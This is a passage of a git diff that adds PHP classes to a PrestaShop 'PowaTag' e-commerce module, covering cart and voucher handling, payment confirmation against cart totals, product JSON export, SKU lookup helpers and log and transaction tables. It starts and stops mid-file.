PowaTagErrorType::$SKU_NOT_FOUND); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + + return false; + } + + + if ($qtyInStock == 0) + { + $this->addError(sprintf($this->module->l('No Stock Available')), PowaTagErrorType::$SKU_OUT_OF_STOCK); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + + + return false; + } + + if ($qtyInStock < $p->quantity) + { + $this->addError(sprintf($this->module->l('Quantity > Stock Count')), PowaTagErrorType::$INSUFFICIENT_STOCK); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + + return false; + } + if ($p->quantity < $product->minimal_quantity || ($combination && $combination->minimal_quantity > $p->quantity)) + { + $this->addError(sprintf($this->module->l('Quantity < minimal quantity for product')), PowaTagErrorType::$OTHER_STOCK_ERROR); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::ERROR, 'Product : '.$this->error['message']); + + return false; + } + + + $cart->updateQty($p->quantity, $product->id, $id_product_attribute); + + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Add product to cart', PowaTagLogs::SUCCESS, 'Cart ID : '.$cart->id.' - Product ID : '.$product->id); + + break; + } + + } + } + else + { + $this->addError($this->module->l('No product found in request'), PowaTagErrorType::$SKU_NOT_FOUND); + return false; + } + + + // add vouchers + + if (isset($this->datas->vouchers)) { + $this->context->cart = $cart; + $vouchers = $this->datas->vouchers; + if ($vouchers && count($vouchers)) { + foreach ($vouchers as $voucher) { + $ci = CartRule::getIdByCode($voucher); + if (!$ci) continue; + $cr = new CartRule($ci); + if (!$cr) continue; + if ($error = $cr->checkValidity($this->context, false, true)) continue; + $this->context->cart->addCartRule($cr->id); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('Added voucher', PowaTagLogs::SUCCESS, 'Cart ID : '.$cart->id.' - Voucher : '.$voucher); + } + } + } + } + + return true; + } +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagPayment.php b/modules/powatag/api/v1/classes/PowaTagPayment.php new file mode 100644 index 0000000..d37131f --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagPayment.php @@ -0,0 +1,262 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagPayment extends PowaTagAbstract +{ + /** + * Transaction ID + * @var string + */ + private $bankAuthorizationCode; + + /** + * Prestashop Cart + * @var Cart + */ + private $cart; + + /** + * Cart ID + * @var int + */ + private $idCart; + + public function __construct(stdClass $datas, $idCart) + { + parent::__construct($datas); + $this->idCart = (int)$idCart; + $this->cart = new Cart((int)$idCart); + } + + public function setBantAuthorizationCode() + { + $this->bankAuthorizationCode = isset($this->datas->paymentResult->bankAuthorizationCode) ? $this->datas->paymentResult->bankAuthorizationCode : ''; + } + + public function validateOrder($orderState, $id_cart, $amountPaid, $message = null) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create order', PowaTagLogs::IN_PROGRESS, 'Cart ID : '.$id_cart); + + $module = Module::getInstanceByName('powatag'); + + $cart = new Cart($id_cart); + $customer = new Customer($cart->id_customer); + + if ($module->validateOrder((int)$id_cart, (int)$orderState, $amountPaid, $module->name, $message.$this->error['message'], array('transaction_id' => $this->bankAuthorizationCode), null, false, $customer->secure_key)) + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create order', PowaTagLogs::SUCCESS, 'Order ID : '.$module->currentOrder); + + return $module->currentOrder; + } + else + { + if (PowaTagAPI::apiLog()) + PowaTagLogs::initAPILog('Create order', PowaTagLogs::ERROR, 'FAIL'); + + return false; + } + } + + public function confirmPayment($twoSteps = false) + { + $orderState = Configuration::get('PS_OS_PAYMENT'); + + if (!$this->cartEnabled()) { + $orderState = Configuration::get('PS_OS_ERROR'); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('confirmPayment', PowaTagLogs::ERROR, 'cart not enabled'); + } + } + + if (!$this->error) + { + if (!$this->compareCustomer()) { + $orderState = Configuration::get('PS_OS_ERROR'); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('confirmPayment', PowaTagLogs::ERROR, 'compareCustomer problem'); + } + } + } + + if (!$this->error) + { + if (!$this->ifCarrierDeliveryZone(Configuration::get('POWATAG_SHIPPING'), false, $this->datas->customer->shippingAddress->country->alpha2Code)) { + $orderState = Configuration::get('PS_OS_ERROR'); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('confirmPayment', PowaTagLogs::ERROR, 'ifCarrierDeliveryZone problem'); + } + } + } + + if (!$twoSteps) + { + if (!$idTransaction = $this->transactionExists()) { + $orderState = Configuration::get('PS_OS_ERROR'); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('confirmPayment', PowaTagLogs::ERROR, 'transactionExists problem'); + } + } + } + + $amountPaid = $this->datas->paymentResult->amountTotal->amount; + + if (!$this->error) + { + if (!$this->checkTotalToPaid($amountPaid, $this->datas->paymentResult->amountTotal->currency)) { + $orderState = (int)Configuration::get('PS_OS_ERROR'); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('confirmPayment', PowaTagLogs::ERROR, 'checkTotalToPaid problem'); + } + } + } + + if (!$this->bankAuthorizationCode) { + $this->setBantAuthorizationCode(); + } + + if (!$twoSteps) + { + $transaction = new PowaTagTransaction((int)$idTransaction); + $transaction->orderState = $orderState; + } + + $currentOrderId = $this->validateOrder($orderState, $this->idCart, $amountPaid); + + if (!$twoSteps) + { + $transaction->id_order = $currentOrderId; + $transaction->save(); + } + + return $currentOrderId; + } + + private function cartEnabled() + { + if (!Validate::isLoadedObject($this->cart)) + { + $this->addError(sprintf($this->module->l('Cart not exists : %s'), $this->idCart), PowaTagErrorType::$INVALID_CARD); + return false; + } + + if ($this->cart->orderExists()) + { + $this->addError(sprintf($this->module->l('Cart has already associated with order : %s'), $this->idCart), PowaTagErrorType::$INTERNAL_ERROR); + return false; + } + + return true; + } + + private function compareCustomer() + { + $customerDatas = $this->getCustomerByEmail($this->datas->customer->emailAddress); + + if (!Validate::isLoadedObject($customerDatas)) + { + $this->addError(sprintf($this->module->l('The customer does not exists : %s'), $this->datas->customer->emailAddress), PowaTagErrorType::$INTERNAL_ERROR); + return false; + } + + $cartCustomer = new Customer((int)$this->cart->id_customer); + + if ($customerDatas->id != $cartCustomer->id) + { + $this->addError(sprintf($this->module->l('The information sent in the request are not identical to the one saved : %s != %s'), $customerDatas->id, $cartCustomer->id), PowaTagErrorType::$INTERNAL_ERROR); + return false; + } + + return true; + } + + private function transactionExists() + { + $transactions = PowaTagTransaction::getTransactions((int)$this->idCart); + + if (!$transactions || !count($transactions)) + { + $this->addError(sprintf($this->module->l('No transaction found for, Cart ID : %s, Device ID : %s & IP : %s'), $this->idCart, $this->datas->device->deviceID, $this->datas->device->ipAddress), PowaTagErrorType::$INTERNAL_ERROR); + return false; + } + + if (count($transactions) > 1) + { + $this->addError(sprintf($this->module->l('Too many transaction for, Cart ID : %s, Device ID : %s & IP : %s'), $this->idCart, $this->datas->device->deviceID, $this->datas->device->ipAddress), PowaTagErrorType::$INTERNAL_ERROR); + return false; + } + + $transaction = current($transactions); + + return (int)$transaction['id_powatag_transaction']; + } + + private function checkTotalToPaid($amountPaid, $currency) + { + if (!$currency instanceof Currency) + { + if (Validate::isInt($currency)) + $currency = new Currency((int)$currency); + else + { + $currencyCode = $currency; + if (!$currency = PowaTagPayment::getCurrencyByIsoCode($currency)) + $currency = $currencyCode; + } + + } + + + if (!PowaTagValidate::currencyEnable($currency)) + { + $this->addError(sprintf($this->module->l('Currency is not enable : %s'), (isset($currency->iso_code) ? $currency->iso_code : $currency)), PowaTagErrorType::$CURRENCY_NOT_SUPPORTED); + return false; + } + + //We change context currency to be sure that calculs are made with correct currency + $context = Context::getContext(); + $context->currency = $currency; + $context->country = $this->getCountry($this->datas->customer->shippingAddress->country->alpha2Code); + + $price_cart = $this->cart->getOrderTotal(true, Cart::BOTH, null, Configuration::get('POWATAG_SHIPPING')); + + if(abs($price_cart - $amountPaid) >= 0.01) { + $msg = "Cart: " . $price_cart . " != Payment: " . $amountPaid; + $this->addError($this->module->l('Amount paid is not same as the cart: ' . $msg), PowaTagErrorType::$INTERNAL_ERROR); + if (PowaTagAPI::apiLog()) { + PowaTagLogs::initAPILog('Amount paid is not same as the cart', PowaTagLogs::ERROR, $msg); + } + return false; + } + + return true; + } + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagProduct.php b/modules/powatag/api/v1/classes/PowaTagProduct.php new file mode 100644 index 0000000..b514163 --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagProduct.php @@ -0,0 +1,253 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagProduct extends PowaTagAbstract +{ + + /** + * Product Model + * @var \Product + */ + private $product; + + + + /** + * List of combinations + * @var array + */ + private $combinations; + + public function __construct(stdClass $datas) + { + parent::__construct($datas); + + $product = PowaTagProductHelper::getProductByCode($datas->id_product, $this->context->language->id); + $this->product = $product; + } + + public function setJSONRequest() + { + if (Validate::isLoadedObject($this->product)) + { + $product = $this->getProductWithoutOptions(); + + return $product; + } + else + { + $this->addError($this->module->l('Product not found'), PowaTagErrorType::$SKU_NOT_FOUND); + return false; + } + } + + private function getProductWithoutOptions() + { + $has_options = $this->hasOptions(); + + $array = array( + 'name' => $this->product->name, + 'type' => 'PRODUCT', + 'availableCurrencies' => $this->getCurrencies(), + 'code' => PowaTagProductHelper::getProductSKU($this->product), + 'description' => html_entity_decode(preg_replace("#\r\n#isD", ' ', strip_tags($this->product->description))), + 'currency' => $this->context->currency->iso_code, + 'language' => $this->context->language->iso_code, + 'productImages' => $this->getImages(), + 'productVariants' => $this->getVariants(), + ); + + + if ($attributes = $this->getAttributes()) + $array['productAttributes'] = $attributes; + + if ($fields = $this->getCustomFields()) + $array['customFields'] = $fields; + + if ($has_options) + $array['productOptions'] = $this->getOptions(); + + return $array; + } + + private function getCurrencies() + { + $currencies = array(); + + $shopCurrencies = Currency::getCurrencies(); + + if ($shopCurrencies && count($shopCurrencies)) + { + foreach ($shopCurrencies as $currency) + $currencies[] = $currency['iso_code']; + } + + return $currencies; + } + + private function getImages() + { + $images = $this->product->getImages((int)$this->context->language->id); + + $link = $this->context->link; + + $jsonImages = array(); + + if ($images && count($images)) + { + foreach ($images as $image) + $jsonImages[] = array('name' => $image['legend'], 'url' => $link->getImageLink($this->product->link_rewrite, $this->product->id.'-'.$image['id_image'])); + } + + return $jsonImages; + } + + + private function getCombinationImages($attribute_id) + { + $images = $this->product->getCombinationImages((int)$this->context->language->id); + $images = $images[$attribute_id]; + + $link = $this->context->link; + + $jsonImages = array(); + + if ($images && count($images)) + { + foreach ($images as $image) + $jsonImages[] = array('name' => $image['legend'], 'url' => $link->getImageLink($this->product->link_rewrite, $this->product->id.'-'.$image['id_image'])); + } + + return $jsonImages; + } + + private function getAttributes() + { + $productAttributes = array(); + + $attributes = $this->product->getFeatures(); + $id_lang = (int)$this->context->language->id; + + if ($attributes && count($attributes)) + { + foreach ($attributes as $attribute) + { + $feature = new Feature($attribute['id_feature'], $id_lang); + $featureValue = new FeatureValue($attribute['id_feature_value'], $id_lang); + $productAttributes[$feature->name] = $featureValue->value; + } + } + + return $productAttributes; + } + + private function hasOptions() + { + $this->combinations = $this->product->getAttributeCombinations($this->context->language->id); + return (bool)$this->combinations; + } + + private function getOptions() + { + $combinations = array(); + if ($this->combinations && count($this->combinations)) + { + foreach ($this->combinations as $combination) + { + if (!array_key_exists($combination['group_name'], $combinations)) + { + $combinations[$combination['group_name']] = array( + 'id' => $combination['id_attribute_group'], + 'values' => array() + ); + } + + if (!in_array($combination['attribute_name'], $combinations[$combination['group_name']]['values'])) + $combinations[$combination['group_name']]['values'][] = $combination['attribute_name']; + } + } + + return $combinations; + } + + private function getVariants() + { + $groups = array(); + + if ($this->combinations && count($this->combinations)) + { + + foreach ($this->combinations as $combination) + { + if (!array_key_exists($combination['id_product_attribute'], $groups)) + { + $groups[$combination['id_product_attribute']] = array( + + 'code' => PowatagProductAttributeHelper::getVariantCode($combination), + 'numberInStock' => PowaTagProductQuantityHelper::getCombinationQuantity($combination), + 'productImages' => $this->getCombinationImages($combination['id_product_attribute']), + 'originalPrice' => array( + 'amount' => $this->formatNumber($this->product->getPrice($this->display_taxes, null), 2), + 'currency' => $this->context->currency->iso_code + ), + 'finalPrice' => array( + 'amount' => $this->formatNumber($this->product->getPrice($this->display_taxes, $combination['id_product_attribute']), 2), + 'currency' => $this->context->currency->iso_code + ) + ); + } + + $groups[$combination['id_product_attribute']]['options'][$combination['group_name']] = $combination['attribute_name']; + } + + sort($groups); + } + else + { + $variant = array( + 'code' => PowaTagProductHelper::getProductSKU($this->product), + 'numberInStock' => PowaTagProductQuantityHelper::getProductQuantity($this->product), + 'finalPrice' => array( + 'amount' => $this->formatNumber($this->product->getPrice($this->display_taxes, null), 2), + 'currency' => $this->context->currency->iso_code + ) + ); + + $groups = array($variant); + } + + return $groups; + } + + private function getCustomFields() + { + return array(); + } + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/PowaTagValidate.php b/modules/powatag/api/v1/classes/PowaTagValidate.php new file mode 100644 index 0000000..12631c4 --- /dev/null +++ b/modules/powatag/api/v1/classes/PowaTagValidate.php @@ -0,0 +1,43 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class PowaTagValidate +{ + + public static function currencyEnable($currency) + { + return Validate::isLoadedObject($currency) && $currency->active; + } + + public static function countryEnable($country) + { + return Validate::isLoadedObject($country) && $country->active; + } + +} + +?> \ No newline at end of file diff --git a/modules/powatag/api/v1/classes/index.php b/modules/powatag/api/v1/classes/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/api/v1/classes/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/api/v1/index.php b/modules/powatag/api/v1/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/api/v1/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagLogs.php b/modules/powatag/classes/PowaTagLogs.php new file mode 100644 index 0000000..8ce9bed --- /dev/null +++ b/modules/powatag/classes/PowaTagLogs.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagLogs extends ObjectModel +{ + + const IN_PROGRESS = 'in progress'; + const SUCCESS = 'success'; + const WARNING = 'warning'; + const ERROR = 'error'; + + public $subject, $status, $message, $date_add, $date_upd; + + public static $definition = array( + 'table' => 'powatag_logs', + 'primary' => 'id_powatag_logs', + 'multilang' => false, + 'fields' => array( + 'subject' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'status' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'message' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + ), + ); + + public static function getIds() + { + $sql = 'SELECT `'.self::$definition['primary'].'` FROM '._DB_PREFIX_.self::$definition['table'].''; + $objsIDs = Db::getInstance()->ExecuteS($sql); + return $objsIDs; + } + + public static function install() + { + // Create Category Table in Database + $sql = array(); + $sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.self::$definition['table'].'` ( + `'.self::$definition['primary'].'` int(16) NOT NULL AUTO_INCREMENT, + `subject` VARCHAR(255) NOT NULL, + `status` VARCHAR(255) NOT NULL, + `message` VARCHAR(255) NOT NULL, + date_add DATETIME NOT NULL, + date_upd DATETIME NOT NULL, + UNIQUE(`'.self::$definition['primary'].'`), + PRIMARY KEY ('.self::$definition['primary'].') + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'; + + + foreach ($sql as $q) + Db::getInstance()->Execute($q); + } + + public static function uninstall() + { + // Create Category Table in Database + $sql = array(); + $sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.self::$definition['table'].'`'; + + + foreach ($sql as $q) + Db::getInstance()->Execute($q); + } + + public static function initLog($subject, $message, $api = false, $status = false) + { + if ($api && Configuration::get('POWATAG_API_LOG')) + { + $log = new PowaTagLogs(); + $log->subject = $subject; + $log->message = $message; + $log->status = $status; + return $log->save(); + } + else if (Configuration::get('POWATAG_REQUEST_LOG')) + { + $module = Module::getInstanceByName('powatag'); + + $handle = fopen($module->getLocalPath().'error.txt', 'a+'); + fwrite($handle, '['.strftime('%Y-%m-%d %H:%M:%S').'] '.$subject.' : '.print_r($message, true)); + fclose($handle); + } + } + + public static function initAPILog($subject, $status, $message) + { + return self::initLog($subject, $message, true, $status); + } + + public static function initRequestLog($subject, $message) + { + return self::initLog($subject, $message); + } + +} \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagProductAttributeHelper.php b/modules/powatag/classes/PowaTagProductAttributeHelper.php new file mode 100644 index 0000000..228db54 --- /dev/null +++ b/modules/powatag/classes/PowaTagProductAttributeHelper.php @@ -0,0 +1,67 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagProductAttributeHelper { + + public static function getCombinationByCode($id_product, $code) + { + $id_pa = (int)self::getCombinationIdByIdCombination($id_product, $code); + return $id_pa; + } + + private static function getCombinationIdByIdCombination($id_product, $id_combination) + { + $datas = explode('-', $id_combination); + + if (empty($datas[1])) + return 0; + + $query = new DbQuery(); + $query->select('pa.id_product_attribute'); + $query->from('product_attribute', 'pa'); + $query->where('pa.id_product_attribute = \''.pSQL($datas[1]).'\''); + $query->where('pa.id_product = '.(int)$id_product); + + return Db::getInstance()->getValue($query); + } + + + + public static function getVariantCode($combination) + { + $combination_sku = self::constructCombinationSKU($combination); + return $combination_sku; + + } + + private static function constructCombinationSKU($combination) + { + return $combination['id_product'].'-'.$combination['id_product_attribute']; + } + + +} \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagProductHelper.php b/modules/powatag/classes/PowaTagProductHelper.php new file mode 100644 index 0000000..1132942 --- /dev/null +++ b/modules/powatag/classes/PowaTagProductHelper.php @@ -0,0 +1,145 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagProductHelper { + + public static function getProductSKU($product) + { + $product_sku = false; + $powatag_sku = Configuration::get('POWATAG_SKU'); + switch ($powatag_sku) + { + case Powatag::EAN : + $product_sku = $product->ean13; + break; + case Powatag::UPC : + $product_sku = $product->upc; + break; + case Powatag::REFERENCE : + $product_sku = $product->reference; + break; + default: + $product_sku = $product->id; + break; + } + + return $product_sku; + } + + /** + * Get Product object by code + * @param string $code Code + * @return Product Product object + */ + public static function getProductByCode($code, $id_lang) + { + $powatag_sku = Configuration::get('POWATAG_SKU'); + + switch ($powatag_sku) + { + case Powatag::EAN : + $id_product = (int)self::getProductIdByEan13($code); + break; + case Powatag::UPC : + $id_product = (int)self::getProductIdByUPC($code); + break; + case Powatag::REFERENCE : + $id_product = (int)self::getProductIdByReference($code); + break; + default: + $id_product = (int)self::getProductIdByIdProduct($code); + break; + } + + $product = new Product($id_product, true, (int)$id_lang); + + //Check if multishop is enabled + if (Shop::isFeatureActive() && $product) + { + //Check that product exists in current shop + $id_shops = Product::getShopsByProduct($product->id); + $product_exists = false; + foreach ($id_shops as $id_shop) + { + if ($id_shop['id_shop'] == Context::getContext()->shop->id) + { + $product_exists = true; + break; + } + } + if (!$product_exists) + $product = false; + + } + + return $product; + } + + private static function getProductIdByIdProduct($code) + { + if ((string)(int)$code !== $code) + return false; + return $code; + } + + private static function getProductIdByReference($reference) + { + if (empty($reference)) + return 0; + + if (!Validate::isReference($reference)) + return 0; + + $query = new DbQuery(); + $query->select('p.id_product'); + $query->from('product', 'p'); + $query->where('p.reference = \''.pSQL($reference).'\''); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } + + private static function getProductIdByEan13($code) + { + return Product::getIdByEan13($code); + } + + private static function getProductIdByUPC($upc) + { + if (empty($upc)) + return 0; + + if (!Validate::isUpc($upc)) + return 0; + + $query = new DbQuery(); + $query->select('p.id_product'); + $query->from('product', 'p'); + $query->where('p.upc = \''.pSQL($upc).'\''); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } +} \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagProductQuantityHelper.php b/modules/powatag/classes/PowaTagProductQuantityHelper.php new file mode 100644 index 0000000..d46d88e --- /dev/null +++ b/modules/powatag/classes/PowaTagProductQuantityHelper.php @@ -0,0 +1,61 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagProductQuantityHelper { + + public static function getProductQuantity($product, $id_product_attribute = false) + { + $allow_oosp = self::isAllowOOSP($product); + $qty = Product::getQuantity($product->id, $id_product_attribute); + if ($qty > 0) + return $qty; + if ($allow_oosp) + return 1000; + return $qty; + } + + public static function getCombinationQuantity($combination) + { + $product = new Product($combination['id_product']); + $allow_oosp = self::isAllowOOSP($product); + $qty = $combination['quantity']; + + if ($qty > 0) + return $qty; + if ($allow_oosp) + return 1000; + return $qty; + } + + private static function isAllowOOSP($product) + { + return Product::isAvailableWhenOutOfStock($product->out_of_stock); + } + + + +} \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagRequestLogs.php b/modules/powatag/classes/PowaTagRequestLogs.php new file mode 100644 index 0000000..729d399 --- /dev/null +++ b/modules/powatag/classes/PowaTagRequestLogs.php @@ -0,0 +1,44 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagRequestLogs { + + + public static function add($datas) + { + if (Configuration::get('POWATAG_REQUEST_LOG')) + { + $handle = fopen(dirname(__FILE__).'/../logs_requests.txt', 'a+'); + fwrite($handle, print_r($datas, true)); + fclose($handle); + + } + + } + + +} \ No newline at end of file diff --git a/modules/powatag/classes/PowaTagTransaction.php b/modules/powatag/classes/PowaTagTransaction.php new file mode 100644 index 0000000..2e54a46 --- /dev/null +++ b/modules/powatag/classes/PowaTagTransaction.php @@ -0,0 +1,109 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowaTagTransaction extends ObjectModel +{ + + public $id_cart, $id_order, $id_customer, $ip_address, $id_device, $order_state, $date_add, $date_upd; + + public static $definition = array( + 'table' => 'powatag_transaction', + 'primary' => 'id_powatag_transaction', + 'multilang' => false, + 'fields' => array( + 'id_cart' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'ip_address' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'id_device' => array('type' => self::TYPE_STRING, 'validate' => 'isString'), + 'order_state' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + ), + ); + + public static function getTransactions($idCart = null, $idDevice = null, $ipAddress = null) + { + $sql = ' + SELECT `'.self::$definition['primary'].'` + FROM `'._DB_PREFIX_.self::$definition['table'].'` + WHERE 1 '; + + if ($idCart && Validate::isInt($idCart)) + $sql .= ' AND `id_cart` = "'.$idCart.'" '; + + if ($idDevice && Validate::isInt($idDevice)) + $sql .= ' AND `id_device` = "'.$idDevice.'" '; + + if ($ipAddress && Validate::isInt($ipAddress)) + $sql .= ' AND `ip_address` = "'.$ipAddress.'" '; + + $results = Db::getInstance()->ExecuteS($sql); + + return $results; + } + + public static function install() + { + // Create Category Table in Database + $sql = array(); + $sql[] = 'CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.self::$definition['table'].'` ( + `'.self::$definition['primary'].'` INT(11) NOT NULL AUTO_INCREMENT, + `id_cart` INT(11) unsigned NOT NULL, + `id_order` INT(11) unsigned NOT NULL, + `id_customer` INT(11) unsigned NOT NULL, + `id_device` VARCHAR(255) NOT NULL, + `ip_address` VARCHAR(255) NOT NULL, + `order_state` INT(11) unsigned NOT NULL, + date_add DATETIME NOT NULL, + date_upd DATETIME NOT NULL, + UNIQUE(`'.self::$definition['primary'].'`), + PRIMARY KEY ('.self::$definition['primary'].') + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'; + + + foreach ($sql as $q) + Db::getInstance()->Execute($q); + } + + public static function uninstall() + { + // Create Category Table in Database + $sql = array(); + $sql[] = 'DROP TABLE IF EXISTS `'._DB_PREFIX_.self::$definition['table'].'`'; + + + foreach ($sql as $q) + Db::getInstance()->Execute($q); + } + + public function getCart() + { + return new Cart((int)$this->id_cart); + } + +} \ No newline at end of file diff --git a/modules/powatag/classes/helper/index.php b/modules/powatag/classes/helper/index.php new file mode 100644 index 0000000..ef35956 --- /dev/null +++ b/modules/powatag/classes/helper/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/powatag/classes/helper/powatagTotAdminTabHelper.php b/modules/powatag/classes/helper/powatagTotAdminTabHelper.php new file mode 100644 index 0000000..40a5ee0 --- /dev/null +++ b/modules/powatag/classes/helper/powatagTotAdminTabHelper.php @@ -0,0 +1,100 @@ + +* @copyright 2007-2014 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PowatagTotAdminTabHelper +{ + /** + * Function to delete admin tabs from a menu with the module name + * @param string $name name of the module to delete + * @return void + */ + public static function deleteAdminTabs($name) + { + Db::getInstance()->Execute('DELETE FROM '._DB_PREFIX_.'tab_lang WHERE id_tab IN (SELECT id_tab FROM '._DB_PREFIX_.'tab WHERE module = "'.pSQL($name).'")'); + Db::getInstance()->Execute('DELETE FROM '._DB_PREFIX_.'tab WHERE module = "'.pSQL($name).'"'); + } + + /** + * Add admin tabs in the menu + * @param Array $tabs + * Array[ + * Array[ + * id_parent => 0 || void + * className => Controller to link to + * module => modulename to easily delete when uninstalling + * name => name to display + * position => position + * ] + * ] + */ + public static function addAdminTab($tab) + { + $id_parent = isset($tab['id_parent']) ? $tab['id_parent'] : self::getAdminTabIDByClassName($tab['classNameParent']); + + /* define data array for the tab */ + $data = array( + 'id_tab' => '', + 'id_parent' => $id_parent, + 'class_name' => $tab['className'], + 'module' => $tab['module'], + 'position' => $tab['position'], + 'active' => 1 + ); + + /* Insert the data to the tab table*/ + $res = Db::getInstance()->insert('tab', $data); + //Get last insert id from db which will be the new tab id + $id_tab = Db::getInstance()->Insert_ID(); + + //Define tab multi language data 